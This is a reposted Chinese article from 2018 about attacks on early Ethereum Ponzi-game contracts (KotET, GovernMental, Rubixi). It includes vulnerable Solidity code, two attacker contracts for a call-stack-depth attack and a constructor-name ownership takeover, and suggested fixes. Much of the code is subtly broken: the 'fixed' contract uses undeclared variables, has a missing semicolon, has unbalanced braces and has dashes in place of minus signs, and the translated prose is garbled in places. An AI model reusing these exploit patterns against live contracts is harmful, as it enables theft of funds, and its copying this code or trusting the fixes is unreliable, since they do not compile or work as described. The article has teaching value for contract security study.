最近火爆的FOMO 3D游戏,存在哪些潜在危机?

区块链技术巴比特2018-07-26 16:52:02  阅读 -评论 0

旁氏骗局。如果你在2016年就开始关注以太坊区块链,你应该知道早期的智能合约有庞氏骗局。就好像传统的旁氏骗局,这些游戏的设计是为了能够连续吸引玩家加入,来让这个游戏一直进行下去。虽然这些合约会戛然而止,有些人会发现是因为别的原因导致其结束。本文列举了这类合约可能遭到的攻击。

最近火爆的FOMO 3D游戏,存在哪些潜在危机?

攻击#1:异常障碍

当攻击者利用合约的漏洞返回一个异常错误的时候,异常障碍攻击就会发生。异常障碍会在合约不能成功调用类似address.send() 或者address.call.value()之类的函数时,自动触发。这个错误本身不会被标出,痴肥合约指导去这样做;异常错误不会自动产生。

攻击示例

2016年2月6日,KotET游戏的智能合约部署完成。KotET游戏中,玩家需要发送给合约一些以太币,从而获得“王位”。只要拿到了王位,玩家就会被加到皇庭,并且永远地被记录在区块链上。更重要地是,后来的国王有权去获得新国王的以太币。随着国外数量增多,成为国王的代价也会越来越贵。如果14天过去了,还没有新的继承者,那么王位就会重置,并且游戏也全部重新开始。这个游戏的理想是新的国外会支付一定的费用,来获得王位,同时有新人来不停地进行游戏,这就导致了“庞氏陷阱”。

代码示例

下面是初始KotET合约的简化版代码。需要注意地是返回函数,这会在玩家将msg.value发送到合约的时候触发。返回函数会首先检查国王是否发出了足够的以太币来获得王位。如果没有,这个需求就会被丢弃,然后代码也会返回。如果有足够的以太币,那么现在的国王就获得足够的弥补(认购价格减去服务费),并且发出资金的人就会成为新的国王。然后,新的国王价格会计算出来。

contract KotET {

address public king; uint public claimPrice = 100; address owner;

//constructor, assigning ownership

constructor() { owner = msg.sender; king = msg.sender; }

//for contract creator to withdraw commission fees function sweepCommission(uint amount) { owner.send(amount); }

//fallback function function() { if (msg.value < claimPrice) revert; uint compensation = calculateCompensation();

king.send(compensation); king = msg.sender; claimPrice = calculateNewPrice(); }

}

KotET合约的漏洞在于使用了address.send(),并且在不成功调用的时候,就不能检查异常错误。就像之前讨论的,address.send() and address.transfer()都是受限于2300的燃料费。虽然这对于防止重入攻击很有用,但是gas燃料限制会导致发送资金给国王地址失败,如果国王的合约有退回函数需要花费超过2300的gas燃料费。这就是KotET的情况,支付给国王的钱会发送到以太坊mist“合约钱包”,而不是“合约账户”,这就需要更多的gas燃料来完成转账。最终的结果就是不成功的转账,以太币呗退回到国王的账户中,新的国王无法进行加冕,所以这个合约就会一直卡住。

解决方案

KotET能够用以下2个办法解决问题:
1. 将异常丢弃,那么调用就会恢复- 我们可以通过在函数中添加revert来完成。这会防止合约停止,但是也会需要多余的步骤来启动支付转账。有两种方案,一是让用户自己发出多个支付转账(太中心化),二是实施批量支付确保付款,直到在“头奖”中没有剩余资金。
2. 使用提现,而不是直接的send调用,合约就可以有结构的,然后玩家就可以让自己的提现失败,而不是合约中剩下的资金。提现算法的唯一不好处,就是这并不是自动化的,需要很多的用户交互。让我们来看看,我们可以如何更新合约,来实施这些变化。

contract KotET {

address public king; uint public claimPrice = 100; uint public resolutionFunds address owner; mapping (address => uint) creditedFunds; //constructor, assigning ownership constructor() { owner = msg.sender; king = msg.sender; } //for contract creator to withdraw commission fees function sweepCommission(uint amount) { owner.send(amount); } //for assigning new king and crediting balance function becomeKing() public payable returns (bool) { if (msg.value > claimPrice) { creditedFunds[richest] += msg.value; king = msg.sender; return true; } else { return false; } } function withdraw() public { uint amount = creditedFunds[msg.sender]; //zeroing the balance BEFORE sending creditedFunds //to prevent re-entrancy attacks pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); }

}

现在合约再也不用依赖于退回函数来执行对新的国外进行加冕了,并且可以直接发送资金给下个国王。这个合约现在对于任何的能够攻击合约的回退/重入攻击来说,都是安全的。

攻击#2:调用栈攻击

在EIP150使用之前,以太坊虚拟机的调用栈深度为1024。这也就是说,有人可以在自动使用第1024个调用之前,调用某个合约1023次。攻击者最终会达到第1023次合约,导致接下来的调用失败,并且让他们自身来盗窃合约的资金,并且掌控合约。

攻击示例

和KotET这类旁氏游戏类似,用户会发出以太币给合约,来加入游戏。每轮游戏的赢家可以获得奖池的金额。游戏的规则如下:
• 你必须要发送至少1ETH到合约,然后你会被支付10%的利息。
• 如果“政府”(合约)在12小时内没有收到新的资金,最后的人获得所有的奖池,所有人都会失去资金。
• 发送到合约的以太币分配如下:5%给奖池,5%给合约拥有者,90%根据支付顺序,用来支付给发送资金的人
• 当奖池满了(1万以太币),95%的资金会发送给支付者。
• 红利:支付者可以使用推荐链接来邀请别人。如果有朋友对这个合约进行支付,那么邀请人可以获得5%,5%会给到合约拥有者,5%会进入奖池,剩下的85%会用来支付利息。

合约的写入,需要保证用户和他们的资金被记录在2个数组,ddress[] public credAddr 和int[] public credAmt。这两个数组会在游戏最后重置。GovernMental已经非常成功了,因为数组变得非常大,需要清除他们的燃料费已经超过每个转账能够做到的极限。最终的结局是奖池的永久性冻结,总共有大约1100个以太坊。最后,在2个月后,资金最后还是解冻了,并且发给了调用者。

GovernMental虽然不是被恶意的用户攻击,但是它也是很好的例子,这类灾难会由调用栈攻击产生。这也表面,在进行大型数据库工作的时候,需要格外的小心。

代码

下面是GovernMental智能合约的完整代码,其中还包含简短的变量。我已经在它的整体中包含了真正的合约,因为通过一行行地检查合约可以学到很多,包含这个合约是如何构建的。有人可以看到function lendGovernmentMoney(),代表了发出资金者的地址,并且需要以太币的数量被重置或者添加到现有数据。需要注意,在同个函数中,资金是如何在合约拥有者以及12个小时结束时的最后发出资金者之间分配的, credAddr[credAddr.length 1].send(profitFromCrash); 以及corruptElite.send(this.balance)。

contract Government {

// Global Variables uint32 public lastPaid; uint public lastTimeOfNewCredit; uint public profitFromCrash; address[] public credAddr; uint[] public credit; address public corruptElite; mapping (address => uint) buddies; uint constant TWELVE_HOURS = 43200; uint8 public round;

// constructor constructor() {

profitFromCrash = msg.value; corruptElite = msg.sender; lastTimeOfNewCredit = block.timestamp; }

function lendGovernmentMoney(address buddy) returns (bool) { uint amount = msg.value; // check if the system already broke down. // If 12h no new creditor gives new credit to // the system it will brake down. // 12h are on average = 60*60*12/12.5 = 3456

if (lastTimeOfNewCredit + TWELVE_HOURS < block.timestamp) // Return money to sender msg.sender.send(amount); // Sends all contract money to the last creditor credAddr[credAddr.length - 1].send(profitFromCrash); corruptElite.send(this.balance); // Reset contract state lastPaid = 0; lastTimeOfNewCredit = block.timestamp; profitFromCrash = 0; // this is where the arrays are cleared credAddr = new address[](0); credAmt = new uint[](0); round += 1; return false; } else {

// the system needs to collect at // least 1% of the profit from a crash to stay alive if (amount >= 10 ** 18) {

// the System has received fresh money, // it will survive at leat 12h more lastTimeOfNewCredit = block.timestamp; // register the new creditor and his // amount with 10% interest rate credAddr.push(msg.sender); credAmt.push(amount * 110 / 100);

// now the money is distributed // first the corrupt elite grabs 5% — thieves! corruptElite.send(amount * 5/100);

// 5% are going into the economy (they will increase // the value for the person seeing the crash coming) if (profitFromCrash < 10000 * 10**18) profitFromCrash += amount * 5/100; }

// if you have a buddy in the government (and he is // in the creditor list) he can get 5% of your // credits. Make a deal with him. if(buddies[buddy] >= amount) { buddy.send(amount * 5/100); } buddies[msg.sender] += amount * 110 / 100;

// 90% of money used to pay out old creditors if (credAmt[lastPaid] <= address(this).balance — profitFromCrash){ credAddr[lastPaid].send(credAmt[lastPaid]); buddies[credAddr[lastPaid]] -= credAmt[lastPaid]; lastPaid += 1; } return true; } else { msg.sender.send(amount); return false; } } }

// fallback function function() { lendGovernmentMoney(0); } function totalDebt() returns (uint debt) { for(uint i=lastPaid; i<credAmt.length; i++){ debt += credAmt[i]; } }

function totalPayedOut() returns (uint payout) { for(uint i=0; i<lastPaid; i++){ payout += credAmt[i]; } }

// donate funds to "the government" function investInTheSystem() { profitFromCrash += msg.value; }

// From time to time the corrupt elite // inherits it’s power to the next generation function inheritToNextGeneration(address nextGeneration) { if (msg.sender == corruptElite) { corruptElite = nextGeneration; } }

function getCreditorAddresses() returns (address[]) { return credAddr; } function getCreditorAmounts() returns (uint[]) { return credAmt; } }

我们假设攻击者写了如下的合约,进行恶意攻击contract Government {}。

contract attackGov {

function attackGov (address target, uint count) { if (0<= count && count<1023) { this.attackGov.gas(gasleft() - 2000)(target, count+1); } else { attackGov(target).lendGovernmentMoney;

}

}

攻击者调用了contract attackGov{} 函数,来进行调用直到栈的大小为1023。当栈达到1022,lendGovernmentMoney()函数就会在第1023个栈上执行。因为第1024个调用已经失败了,并且 send() 函数不会检查返回的代码,合约的credAddr[credAddr.length — 1].send(profitFromCrash)代码也会失效。合约之后就会重置,而且下一轮已经可以开始。因为支付失败了,合约现在就会从最后一轮中获得奖池,在下轮结束后,合约拥有者就会获得全部的资金,corruptElite.send(this.balance)。

解决方案

那么我们怎么才能避免全栈攻击呢?很幸运地是,EIP150标准进行了更新,使得栈调用的深度达到1024是几乎不可能的事情。规则中写到,子调用不能花费主调用的63/64燃料费用。为了达到接近栈调用的极限,攻击者需要花费难以想象地费用,所以很少有人会这么做。

另个方面,对于大量数据的处理方法包含:
• 写合约的时候,要在多个转账中分散数据清理工作,而不是集中在某个,或者
• 通过让用户能够独立处理数据集的方式来写入合约。

攻击#3- 不可更改的管理器缺陷

什么使得智能合约这么特别?他们是不可更改的。什么造就了智能合约的噩梦?他们是不可更改的。现在,很遗憾的结论是,当在写智能合约时,很多时候会出现错误。在激活合约之前,对整体的函数,参数和合约结构进行审核,是非常必要的。

如果在以太坊历史上,有智能合约是因为整体架构出问题,而最终失败的,毫无疑问就是Rubixi。Rubixi是另一个旁氏游戏,其中玩家需要发送以太币到合约中,并且可以获得更多的以太币。但是,在Rubixi开发的过程中,拥有者随意更改了合约名称,但是并没有检车任何的不一致性。毋庸置疑,Rubixi远不能称为“成功”。

攻击示例

由于Solidity v0.4.24算法,合约的管理器功能是construct()。但是,在Rubixi合约创建的时候,管理器功能被以太坊虚拟机和合约共享了同个名字。Rubixi的问题在于当合约中部署了管理器的名称为function DynamicPyramid() ,而不是function Rubixi(),,这就意味着Rubixi最初的名字叫“DynamicPyramid”。由于这个不一致性,合约在创建的时候,并没有指定拥有者,所以城堡的钥匙被抢走了。任何人都能够定义他们自己为合约的拥有者,然后获得参与者加入的合约费用。

代码示例

如果我们把合约代码的前几行拿出来,你就会发现合约名称和指定管理器函数的区别。

contract Rubixi {

//Declare variables for storage critical to contract uint private balance = 0; uint private collectedFees = 0; uint private feePercent = 10; uint private pyramidMultiplier = 300; uint private payoutOrder = 0;

address private creator;

//Sets creator function DynamicPyramid() { creator = msg.sender; }

现在你应该明白了,攻击者需要做的,就是创建合约的名字为function DynamicPyramid(), 然后获得拥有权。然后,攻击者可以调用function collectAllFees(),然后提现。虽然这个攻击已经非常直接了,Rubixi是个很好的例子,告诉我们一定要彻底地检查合约。

contract extractRubixi { address owner; Rubixi r = Rubixi(0xe82...); constructor() public { owner=msg.sender; } function setAndGrab() public { r.DynamicPyramid(); r.collectAllFees(); } } 解决方案

很幸运地是,Solidity语言已经更新了,以至于管理器功能被定义为constructor() ,而不是contractName()。我们可以从中学到的是,多次检查我们的合约代码,并且保证你在整个开发过程中,保持一致性。没有什么比部署一个无法改变的合约,但是发现其中有问题,更糟糕了。

最终的结局

旁氏游戏或许已经是过去的事情,但是George Santayana曾经说过,“那些不能从历史中学到教训的人,还会重复错误。”通过从KotET, GovernMental和Rubixi这类错误中学习,我们可以防止自己在错误的道路上越走越远。

声明:链世界登载此文仅出于分享区块链知识,并不意味着赞同其观点或证实其描述。文章内容仅供参考,不构成投资建议。投资者据此操作,风险自担。此文如侵犯到您的合法权益,请联系我们100@7234.cn

    参与讨论 (0 人参与讨论)

    相关推荐

    区块链投资趋势报告:巨头入场布局行业趋于成熟

    区块链投资趋势报告:巨头入场布局行业趋于成熟

    来自:https://mp.weixin.qq.com/s?__biz=MzI4NzIxOTY1NA==&amp;mid=2650632639&amp;idx=1&amp;sn=e6d1c29731d992a80410aaee82ec3ea6&amp;chksm=f3d8db16c4af520097e4a64a71b1d4743ac326b9f027

    重新发明货币

    重新发明货币

    一、货币的演化过程 先简单回顾一下人类货币的演化过程,大概有以下阶段: a. 1.0版本:自然货币(贝壳、牲口、金银……) 这个阶段,货币基于一般等价物的稀有性或者实用性,货币不可能出现人为操纵的超发。 b. 2.0版本:早期纸币、银票到本位纸币 当贸易量越来越大,实物货币太不方便了,而且大家发现其实并不在意货币本身有什么价值,在意的只是这么多的货币能不能交换到足够的物品,于是纸币这种信用货

    从比特币交易看欧洲央行虚拟货币分类

    从比特币交易看欧洲央行虚拟货币分类

      互联网对传统社会的颠覆从未停止,在其完成对信息流、商流、物流、资金流的初步改造之后,或将以虚拟货币的形式打破现有货币体系   4月18日,在中国极客张沈鹏创办的比特币交易平台(42BTC.com)上,比特币对人民币的平均交易价为576元。当天,该平台完成了100个比特币的交易量。仅仅过去一周,4月25日上午,比特币对人民币的平均交易价已达到906元。据42BTC网站统计:在过去的32个月

    欧洲央行-比特币报告

    3.1 比特币 3.1.1 基本特征          比特币可能是最成功的,也可能是最有争议的虚拟货币方案,由日本程序员中本聪(译者注:事实上,中本聪是不是日本人,甚至是不是单个人无从考证)在2009年设计并实现。该计划基于一个类似于BitTorrent的P2P网络。BitTorrent是互联网上著名的共享文件协议,应用在电影,游戏和音乐领域。比特币在全球层面上运作,可用于各类货币交易(虚

    彻底玩转比特币地址和私匙

    彻底玩转比特币地址和私匙

    比特币地址和私匙是所有比特币初学者面对的一大难题,再加上那一串超长的字符串,让人更是摸不到头脑。 现在编者以问答的形式,带你一步步的揭开比特币地址和私匙的面纱。 还不知道什么是比特币地址和私匙的同学请点这里 问题一、比特币钱包由什么组成? 答 我们知道,比特币地址和私匙组成了比特币钱包,而私匙则决定了比特币地址上比特币的归属。 地址和私匙 问题二、如果只记得私匙我们还能还原比特币地址么? 答

    用GO语言实现比特币算法

    用GO语言实现比特币算法

    本节的这个例子展示一点点高精度数学包math/big、一点点散列包hash、一点点加密包crypto,还有一点点测试包testing的知识。这里不介绍bitcoin协议和算法——尽管它们很有趣,而是试图指出,Go对多种操作系统的支持,是实现这种跨平台应用的理想语言。 位钱(bitcoin)是一种使用加密手段制作的分布式电子货币。它最初于1998年由Wei Dai提出,并由中本聪(Satoshi

    详解比特币的找零机制

    详解比特币的找零机制

    比特币的找零机制一直让人有些迷惑,明明只向一个地址发送了比特币为什么 blockchain 上面的显示的有时是1个地址对多个地址,有时是多个地址对1个地址,有时又显示多个地址对多个地址? 为什么比特币资深用户要提醒大家当比特币钱包交易100次以上时再次交易后要重新备份钱包,恢复以前的钱包备份有可能会遭遇损失? 是的,这一切都是因为比特币的找零(Change)机制。本文参考 Bitcoin的维

    玩转比特币客户端之一:C盘转移和加速下载

    玩转比特币客户端之一:C盘转移和加速下载

    C盘空间不足?交易数据下载速度太慢?别着急,乐享比特币教你轻松玩转比特币官方客户端。 所有新人开始接触比特币时做的第一件事情大多数是安装比特币的官方客户端。 安全起见大家最好直接访问官方发布渠道sourceforge的地址进行下载:http://sourceforge.net/projects/bitcoin/files/Bitcoin/ 该网页列出了各版本的官方比特币客户端,目前

    麦妖榜
    更新日期 2019-06-19
    排名用户贡献值
    1BitettFan24007
    2等待的宿命23809
    3六叶树20309
    4区块大康18727
    5牛市来了16781
    6天下无双16192
    7linjm122716073
    8lizhen00215114
    9让时间淡忘14475
    10冷风大q11188
    返回顶部 ↑